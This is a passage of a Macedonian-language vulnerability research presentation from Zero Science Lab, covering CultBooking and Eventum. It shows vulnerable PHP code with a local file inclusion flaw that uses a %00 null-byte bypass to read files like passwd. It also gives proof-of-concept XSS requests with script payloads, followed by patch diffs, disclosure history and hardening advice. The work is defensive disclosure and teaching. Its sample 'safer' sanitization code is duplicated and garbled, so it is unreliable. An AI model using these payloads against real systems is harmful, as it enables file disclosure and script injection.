  • 7. require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php'); навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php податокот. По детално разгледување доаѓам до скриптата: cultbooking.languageNS.languageImpl.class.php во која го има следниов код: ---------------------------------------------------------- <?php /** implement the methods of cultbookingВ§languageNSВ§languageImplSkel.class.php. */ class cultbookingВ§languageNSВ§languageImpl extends cultbookingВ§languageNSВ§languageImplSkel { var $incfile; public function providetransLang() { return $this; } public function localization($incfile) { $this->incfile = $incfile; } public function translate($str) { include $this->incfile .".inc"; return $$str; } } ?> ---------------------------------------------------------- Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример: passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува HTML код во корисничкиот прелистувач со помош на XSS напад. Пример за побезбедно санирање/валидација: <?php $file = <?php $file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET['file'])); $readfile = readfile($file); ?> ($_GET['file'])); $readfile = readfile($file); ?> За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно да извршат напад, пример: %00 во 0, но не се препорачува користење на magic quotes за избегнување на податоци. Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 8. Споредба и закрпи: Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 9. Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување, избегнување и нејзино зацврстување. Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 10. 3.2 Eventum Исто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored (Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите на апликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна. POST Stored/Persistent XSS: - Ранлива скрипта: list.php, ранлив параметар: keywords POST /eventum-2.3/htdocs/list.php?keywords=<script>alert('ZSL')<%2Fscript> HTTP/1.1 RESPONSE: HTTP/1.1 200 OK Откако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг е вметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниот стринг го извршува на секои 5 минути се додека не ја затворите страницата (page self- refresh/session). Тест со помош на оставање на стрингот: <script>alert(Date())</script> во search полето... Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 11. Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 12. Закрпа: Reflected/Non-Persistent XSS: forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немање филтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2: GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert('ZSL')</script> GET /eventum-2.2/forgot_password.php/>"><script>alert('ZSL')</script> GET /eventum-2.2/select_project.php/>"><script>alert('ZSL')</script> ----------------------------------------------- Скрипта: eventum-2.3/lib/eventum/class.auth.php: Line 90: $failed_url .= "&url=" . urlencode($_SERVER['REQUEST_URI']); Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER['REQUEST_URI']), $is_popup); -- Скрипта: eventum-2.3/templates/current_filters.tpl.html Line: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if} -- Скрипта: eventum-2.3libpearHTTP.php: Line 318: $url = isset($_SERVER['REQUEST_URI']) ? Line 319: $_SERVER['REQUEST_URI'] : $_ ----------------------------------------------- Ранливоста се наоѓа во папката templates во следниве фајлови: - current_filters.tpl.html - forgot_password.tpl.html - select_project.tpl.html (+ е додаден код или закрпен, - е одстранет код): --------------------------------------------------------------------------- === modified file 'templates/current_filters.tpl.html' --- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000 +++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000 @@ -8,7 +8,7 @@ Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 13. <td class="default"> {t}Current filters:{/t}&nbsp; {foreach from=$active_filters name=active_filters key=filter_name item=filter_value} - <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if} + <b>{$filter_name}</b>: {$filter_value|escape:"html"}{if !$smarty.foreach.active_filters.last}; {/if} {foreachelse} <i>{t}None{/t}</i> {/foreach} === modified file 'templates/forgot_password.tpl.html' --- templates/forgot_password.tpl.html 2010-10-07 11:43:46 +0000 +++ templates/forgot_password.tpl.html 2011-01-24 03:14:02 +0000 @@ -23,7 +23,7 @@ {include file="yellow_note.tpl.html" content=$note_message} {/if} <br /> -<form name="email_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}"> +<form name="email_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="reset_password"> <table align="center" width="500" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000"> <tr> === modified file 'templates/select_project.tpl.html' --- templates/select_project.tpl.html 2010-10-07 11:43:46 +0000 +++ templates/select_project.tpl.html 2011-01-24 03:14:02 +0000 @@ -16,7 +16,7 @@ //--> </script> {/literal} -<form name="login_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}"> +<form name="login_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="select"> <input type="hidden" name="url" value="{$smarty.get.url}"> <table align="center" width="400" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000"> --------------------------------------------------------------------------- Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 14. Следење на измените од Eventum тимот (пред официјално објавување на нова верзија): https://code.launchpad.net/~eventum-developers/eventum/trunk Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 15. 4. Безбедносни предупредувања, пријавување, одговорност После секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителот со надеж за соработка и координирано објавување на безбедносно предупредување (етички) или пак веднаш со објавување (не-етички) или пак воопшто (за приватни цели). Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, поради што, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (според нашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинот Uwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5. Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско. За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирање веднаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целосна соработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации треба да се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäe развија закрпа за помалку од два дена, после кое следеше официјално објавување на новата верзија, 2.3.1. Безб. предупредување ID: ZSL-2011-4987 Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.php Безб. предупредување ID: ZSL-2011-4988 Наслов: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.php Безб. предупредување ID: ZSL-2011-4989 Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilies Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php 5. Препораки Кога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да ја имате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиете постабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web Application Firewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа: http://www.owasp.org/index.php/Web_Application_Firewall) Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скрипти што качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл. Функции како: htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(), stip_tags(), nl2br(), escapeshellarg() и т.н. Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
  • 16. Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија како и порталите што објавуваат нови ранливости и техники на заобиколување на безбедносните механизми. 6. Корисни линкови и референци - http://zeroscience.mk/mk/vulnerabilities/ - http://koduleht.eu/phptest/index.php - http://koduleht.eu/phptest/taketest.php?11 - http://www.phpfreaks.com/tutorial/php-security - http://grasp.coresecurity.com/index.php?m=chl - http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html - http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/ - http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/ - http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf - http://exploit-db.com - http://secunia.com - http://php-ids.org/ - http://osvdb.org - http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet - http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet - http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet - http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet - http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet - http://www.owasp.org/index.php/Esapi - http://ha.ckers.org/xss.html - http://phpsec.org/projects/guide/ - http://www.acunetix.com/websitesecurity/php-security-1.htm - http://securitytube.net - http://packetstormsecurity.org - http://securityfocus.com - http://vupen.com - http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents - Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities од Mark Dowd, John McDonald и Justin Schuh. Ѓоко Крстиќ gjoko@zeroscience.mk Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011